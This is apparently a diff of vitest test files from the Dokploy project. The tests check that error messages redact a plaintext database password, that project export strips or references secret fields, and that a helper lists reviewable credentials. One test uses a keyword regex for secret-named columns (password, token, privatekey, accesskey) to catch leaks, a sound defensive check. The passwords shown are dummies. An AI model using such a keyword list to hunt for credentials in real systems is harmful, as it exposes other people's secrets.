import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("safeErrorMessage (T-4.2)", () => {
|
||||
it("never includes the command (which may embed a plaintext password) for an ExecError", () => {
|
||||
const error = new ExecError(
|
||||
"Command execution failed: Command failed: PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
|
||||
{
|
||||
command: "PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
|
||||
stderr:
|
||||
"pg_dump: error: connection failed: FATAL: password authentication failed",
|
||||
exitCode: 1,
|
||||
},
|
||||
);
|
||||
const message = safeErrorMessage(error);
|
||||
expect(message).not.toContain("realpassword123");
|
||||
expect(message).not.toContain("PGPASSWORD");
|
||||
expect(message).toContain("exit code 1");
|
||||
expect(message).toContain("password authentication failed");
|
||||
});
|
||||
|
||||
it("falls back to a generic message when an ExecError has no stderr", () => {
|
||||
const error = new ExecError("Command execution failed", {
|
||||
command: "PGPASSWORD=secret pg_dump",
|
||||
});
|
||||
const message = safeErrorMessage(error);
|
||||
expect(message).not.toContain("secret");
|
||||
expect(message).toBe("Command failed");
|
||||
});
|
||||
|
||||
it("passes a plain Error's message through unchanged", () => {
|
||||
expect(safeErrorMessage(new Error("Service not found"))).toBe(
|
||||
"Service not found",
|
||||
);
|
||||
});
|
||||
|
||||
it("stringifies a non-Error thrown value", () => {
|
||||
expect(safeErrorMessage("boom")).toBe("boom");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,189 @@
|
||||
import {
|
||||
applications,
|
||||
backups,
|
||||
certificates,
|
||||
compose,
|
||||
destinations,
|
||||
dnsProvider,
|
||||
environments,
|
||||
libsql,
|
||||
mariadb,
|
||||
mongo,
|
||||
mounts,
|
||||
mysql,
|
||||
network,
|
||||
postgres,
|
||||
projects,
|
||||
redis,
|
||||
registry,
|
||||
security,
|
||||
sshKeys,
|
||||
vaultProvider,
|
||||
} from "@dokploy/server/db/schema";
|
||||
import type { ResourceKind } from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
NEVER_EXPORT_FIELDS,
|
||||
restoreSecretFields,
|
||||
SECRET_FIELDS,
|
||||
stripNeverExport,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { getTableColumns } from "drizzle-orm";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const TABLES_WITH_KIND: { table: object; kind: ResourceKind }[] = [
|
||||
{ table: applications, kind: "application" },
|
||||
{ table: compose, kind: "compose" },
|
||||
{ table: environments, kind: "environment" },
|
||||
{ table: libsql, kind: "libsql" },
|
||||
{ table: mariadb, kind: "mariadb" },
|
||||
{ table: mongo, kind: "mongo" },
|
||||
{ table: mysql, kind: "mysql" },
|
||||
{ table: postgres, kind: "postgres" },
|
||||
{ table: projects, kind: "project" },
|
||||
{ table: redis, kind: "redis" },
|
||||
];
|
||||
|
||||
const ALL_RESOURCE_TABLES: { table: object; kind: ResourceKind }[] = [
|
||||
...TABLES_WITH_KIND,
|
||||
{ table: mounts, kind: "mount" },
|
||||
{ table: security, kind: "security" },
|
||||
{ table: destinations, kind: "destination" },
|
||||
{ table: registry, kind: "registry" },
|
||||
{ table: sshKeys, kind: "sshKey" },
|
||||
{ table: certificates, kind: "certificate" },
|
||||
{ table: vaultProvider, kind: "vaultProvider" },
|
||||
{ table: dnsProvider, kind: "dnsProvider" },
|
||||
{ table: backups, kind: "backup" },
|
||||
{ table: network, kind: "network" },
|
||||
];
|
||||
|
||||
const SENSITIVE_NAME = /password|secret|token|privatekey|accesskey|apikey/i;
|
||||
|
||||
describe("every sensitive-looking column is covered by SECRET_FIELDS or NEVER_EXPORT_FIELDS", () => {
|
||||
for (const { table, kind } of ALL_RESOURCE_TABLES) {
|
||||
it(`covers sensitive-named columns of "${kind}"`, () => {
|
||||
const columns = getTableColumns(table as any);
|
||||
const sensitiveFieldNames = Object.keys(columns).filter((name) =>
|
||||
SENSITIVE_NAME.test(name),
|
||||
);
|
||||
|
||||
const coveredBySecretFields = new Set(
|
||||
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
|
||||
);
|
||||
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
|
||||
|
||||
for (const fieldName of sensitiveFieldNames) {
|
||||
const covered =
|
||||
coveredBySecretFields.has(fieldName) ||
|
||||
coveredByNeverExport.has(fieldName);
|
||||
expect(covered, `${kind}.${fieldName} is not covered`).toBe(true);
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
describe("SECRET_FIELDS covers every encryptedText column", () => {
|
||||
for (const { table, kind } of TABLES_WITH_KIND) {
|
||||
it(`covers encrypted columns of "${kind}"`, () => {
|
||||
const columns = getTableColumns(table as any);
|
||||
const encryptedFieldNames = Object.entries(columns)
|
||||
.filter(
|
||||
([, col]) =>
|
||||
(col as { columnType: string }).columnType === "PgCustomColumn",
|
||||
)
|
||||
.map(([name]) => name);
|
||||
expect(encryptedFieldNames.length).toBeGreaterThan(0);
|
||||
|
||||
const covered = new Set(
|
||||
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
|
||||
);
|
||||
for (const fieldName of encryptedFieldNames) {
|
||||
expect(covered.has(fieldName)).toBe(true);
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
describe("stripNeverExport", () => {
|
||||
it("removes NEVER_EXPORT_FIELDS for the given kind", () => {
|
||||
const row = {
|
||||
applicationId: "a1",
|
||||
serverId: "s1",
|
||||
buildServerId: "s2",
|
||||
refreshToken: "tok",
|
||||
githubId: "gh1",
|
||||
createdAt: "2024-01-01",
|
||||
name: "app",
|
||||
};
|
||||
const stripped = stripNeverExport("application", row);
|
||||
expect(stripped).not.toHaveProperty("serverId");
|
||||
expect(stripped).not.toHaveProperty("buildServerId");
|
||||
expect(stripped).not.toHaveProperty("refreshToken");
|
||||
expect(stripped).not.toHaveProperty("githubId");
|
||||
expect(stripped).not.toHaveProperty("createdAt");
|
||||
expect(stripped.applicationId).toBe("a1");
|
||||
expect(stripped.name).toBe("app");
|
||||
});
|
||||
|
||||
it("does not mutate the original row", () => {
|
||||
const row = { serverId: "s1", name: "app" };
|
||||
stripNeverExport("postgres", row);
|
||||
expect(row).toHaveProperty("serverId");
|
||||
});
|
||||
|
||||
it("is a no-op for a kind with no NEVER_EXPORT_FIELDS entry", () => {
|
||||
const row = { name: "unmapped" };
|
||||
// @ts-expect-error deliberately invalid kind, to check the fallback path
|
||||
const stripped = stripNeverExport("notAKind", row);
|
||||
expect(stripped).toEqual(row);
|
||||
});
|
||||
|
||||
it("every ResourceKind used in NEVER_EXPORT_FIELDS strips createdAt", () => {
|
||||
for (const kind of Object.keys(NEVER_EXPORT_FIELDS) as ResourceKind[]) {
|
||||
const stripped = stripNeverExport(kind, { createdAt: "x", id: "1" });
|
||||
expect(stripped).not.toHaveProperty("createdAt");
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
const SAFE_JSONB_COLUMNS = new Set(["compose.serviceNetworks", "network.ipam"]);
|
||||
|
||||
describe("every jsonb column is covered or explicitly allowlisted as safe", () => {
|
||||
for (const { table, kind } of ALL_RESOURCE_TABLES) {
|
||||
it(`checks jsonb columns of "${kind}"`, () => {
|
||||
const columns = getTableColumns(table as any);
|
||||
const jsonbFieldNames = Object.entries(columns)
|
||||
.filter(
|
||||
([, col]) => (col as { columnType: string }).columnType === "PgJsonb",
|
||||
)
|
||||
.map(([name]) => name);
|
||||
|
||||
const coveredBySecretFields = new Set(
|
||||
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
|
||||
);
|
||||
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
|
||||
|
||||
for (const fieldName of jsonbFieldNames) {
|
||||
const covered =
|
||||
coveredBySecretFields.has(fieldName) ||
|
||||
coveredByNeverExport.has(fieldName) ||
|
||||
SAFE_JSONB_COLUMNS.has(`${kind}.${fieldName}`);
|
||||
expect(
|
||||
covered,
|
||||
`${kind}.${fieldName} is not covered or allowlisted`,
|
||||
).toBe(true);
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
describe("restoreSecretFields / CRLF env files (T-11.5)", () => {
|
||||
it("resolves a $secret: reference even when the env file uses CRLF line endings", () => {
|
||||
const secretsPlain = new Map([["secret-uuid-1", "realpassword"]]);
|
||||
const row = {
|
||||
env: "DB_PASS=$secret:secret-uuid-1\r\nOTHER=plain\r\n",
|
||||
};
|
||||
const result = restoreSecretFields("application", row, secretsPlain);
|
||||
expect(result.env).toBe("DB_PASS=realpassword\nOTHER=plain\n");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,53 @@
|
||||
import type { Snapshot } from "@dokploy/server/services/project-export-import";
|
||||
import { listReviewableSecrets } from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const snapshot = {
|
||||
resources: {
|
||||
project: {},
|
||||
environments: [],
|
||||
services: [
|
||||
{
|
||||
kind: "application",
|
||||
applicationId: "app-1",
|
||||
name: "web",
|
||||
security: [
|
||||
{ username: "admin", password: "$secret:sec-1" },
|
||||
{ username: "plain", password: "not-a-ref" },
|
||||
],
|
||||
},
|
||||
{ kind: "postgres", postgresId: "pg-1", databasePassword: "$secret:pg" },
|
||||
],
|
||||
shared: {
|
||||
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
|
||||
destination: [
|
||||
{
|
||||
name: "backups",
|
||||
accessKey: "$secret:ak-1",
|
||||
secretAccessKey: "$secret:sk-1",
|
||||
},
|
||||
],
|
||||
sshKey: [{ name: "deploy", privateKey: "$secret:ssh-1" }],
|
||||
certificate: [{ name: "wildcard", privateKey: "$secret:cert-1" }],
|
||||
},
|
||||
},
|
||||
} as unknown as Snapshot;
|
||||
|
||||
describe("listReviewableSecrets", () => {
|
||||
it("lists external credentials by secret ref, skipping database passwords and non-refs", () => {
|
||||
const entries = listReviewableSecrets(snapshot);
|
||||
expect(
|
||||
entries.map((e) => [e.kind, e.resource, e.field, e.secretId]),
|
||||
).toEqual([
|
||||
["basicAuth", "web · admin", "password", "sec-1"],
|
||||
["registry", "ghcr", "password", "reg-1"],
|
||||
["destination", "backups", "accessKey", "ak-1"],
|
||||
["destination", "backups", "secretAccessKey", "sk-1"],
|
||||
["sshKey", "deploy", "privateKey", "ssh-1"],
|
||||
["certificate", "wildcard", "privateKey", "cert-1"],
|
||||
]);
|
||||
expect(entries.filter((e) => e.generatable).map((e) => e.kind)).toEqual([
|
||||
"basicAuth",
|
||||
]);
|
||||
});
|
||||
});
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user